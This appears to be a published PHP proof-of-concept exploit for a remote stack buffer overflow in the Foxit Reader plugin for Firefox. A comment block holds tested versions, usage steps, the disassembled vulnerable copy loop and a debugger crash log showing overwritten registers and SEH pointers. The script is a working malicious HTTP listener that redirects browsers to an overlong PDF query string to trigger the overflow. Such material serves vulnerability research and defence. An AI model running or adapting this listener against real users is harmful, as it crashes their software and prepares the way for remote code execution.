174 lines
No EOL
4 KiB
PHP
174 lines
No EOL
4 KiB
PHP
<?php
|
|
/*
|
|
Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong
|
|
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod
|
|
|
|
(listener)
|
|
|
|
Tested against Microsoft Windows
|
|
Mozilla Firefox 17.0.1
|
|
Foxit Reader 5.4.3.0920
|
|
Foxit Reader 5.4.4.1128
|
|
|
|
File: npFoxitReaderPlugin.dll
|
|
Version: 2.2.1.530
|
|
|
|
Product url: http://www.foxitsoftware.com/downloads/
|
|
Last version setup file: FoxitReader544.11281_enu_Setup.exe
|
|
|
|
Usage:
|
|
Launch from the command line, then browse port 6666 with Firefox.
|
|
You can test it also through this url:
|
|
|
|
http://192.168.0.1/x.pdf?[A x 1024]
|
|
|
|
File must be existing or the server should be responding with
|
|
the proper Content-Type header.
|
|
|
|
vulnerable code, npFoxitReaderPlugin.dll:
|
|
|
|
;------------------------------------------------------------------------------
|
|
L1000162F:
|
|
push ebx
|
|
push esi
|
|
push edi
|
|
mov edi,ebp
|
|
or ecx,FFFFFFFFh
|
|
xor eax,eax
|
|
xor ebx,ebx
|
|
xor esi,esi
|
|
repne scasb
|
|
not ecx
|
|
dec ecx
|
|
test ecx,ecx
|
|
jle L100016E4
|
|
L1000164A:
|
|
mov al,[esi+ebp]
|
|
mov word ptr [esp+18h],0000h
|
|
cmp al,25h
|
|
jz L10001661
|
|
mov ecx,[esp+1Ch]
|
|
mov [ebx+ecx],al
|
|
jmp L100016CE
|
|
L10001661:
|
|
mov al,[esi+ebp+01h]
|
|
cmp al,30h
|
|
jl L1000166D
|
|
cmp al,39h
|
|
jle L1000167D
|
|
L1000166D:
|
|
cmp al,41h
|
|
jl L10001675
|
|
cmp al,46h
|
|
jle L1000167D
|
|
L10001675:
|
|
cmp al,61h
|
|
jl L100016C6
|
|
cmp al,66h
|
|
jg L100016C6
|
|
L1000167D:
|
|
mov dl,[esi+ebp+01h]
|
|
inc esi
|
|
inc esi
|
|
lea ecx,[esp+10h]
|
|
mov [esp+18h],dl
|
|
push ecx
|
|
mov al,[esi+ebp]
|
|
lea edx,[esp+1Ch]
|
|
push L100450D4
|
|
push edx
|
|
mov [esp+25h],al
|
|
call SUB_L10006421
|
|
mov eax,[esp+1Ch]
|
|
lea ecx,[esp+24h]
|
|
push eax
|
|
push L100450D0
|
|
push ecx
|
|
call SUB_L100063CF
|
|
mov eax,[esp+34h]
|
|
mov dl,[esp+30h]
|
|
add esp,00000018h
|
|
mov [ebx+eax],dl
|
|
jmp L100016CE
|
|
L100016C6:
|
|
mov ecx,[esp+1Ch]
|
|
mov byte ptr [ebx+ecx],25h
|
|
L100016CE:
|
|
inc ebx
|
|
mov edi,ebp
|
|
or ecx,FFFFFFFFh
|
|
xor eax,eax
|
|
inc esi
|
|
repne scasb
|
|
not ecx
|
|
dec ecx
|
|
cmp esi,ecx
|
|
jl L1000164A
|
|
L100016E4:
|
|
mov edx,[esp+1Ch]
|
|
pop edi
|
|
pop esi
|
|
mov eax,00000001h
|
|
mov byte ptr [ebx+edx],00h
|
|
pop ebx
|
|
pop ebp
|
|
pop ecx
|
|
retn
|
|
;------------------------------------------------------------------------------
|
|
|
|
this copy loop ends up in overwriting stack pointers, then
|
|
(by attaching to plugin-container.exe):
|
|
|
|
(f48.1778): Access violation - code c0000005 (first chance)
|
|
First chance exceptions are reported before any exception handling.
|
|
This exception may be expected and handled.
|
|
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
|
|
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0 nv up ei pl nz na po nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
|
|
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
|
|
10016852 8906 mov dword ptr [esi],eax ds:0023:41414141=????????
|
|
...
|
|
Attempt to write to address 41414141
|
|
...
|
|
|
|
also SEH pointers are overwritten
|
|
*/
|
|
|
|
error_reporting(0);
|
|
|
|
set_time_limit(0);
|
|
|
|
$port = 6666;
|
|
|
|
$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
|
|
"Server: Apache\r\n".
|
|
"Location: /x.pdf?".str_repeat("A",1024)."\r\n".
|
|
"Content-Type: text/html\r\n\r\n";
|
|
|
|
$____boom = "HTTP/1.1 200 OK\r\n".
|
|
"Server: Apache\r\n".
|
|
"Accept-Ranges: bytes\r\n".
|
|
"Content-Length: 60137\r\n".
|
|
"Content-Type: application/pdf\r\n".
|
|
"Connection: keep-alive\r\n\r\n";
|
|
|
|
$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);
|
|
|
|
if (!$socket) {
|
|
echo "$errstr ($errno)\n";
|
|
} else {
|
|
echo "Listening on public tcp port ".$port." \n";
|
|
while ($conn = stream_socket_accept($socket)) {
|
|
$line=fgets($conn);
|
|
echo $line."\n";
|
|
if (strpos($line,".pdf")){
|
|
fwrite($conn,$____boom);
|
|
}
|
|
else {
|
|
fwrite($conn,$____redirect);
|
|
}
|
|
fclose($conn);
|
|
}
|
|
fclose($socket);
|
|
}
|
|
?>
|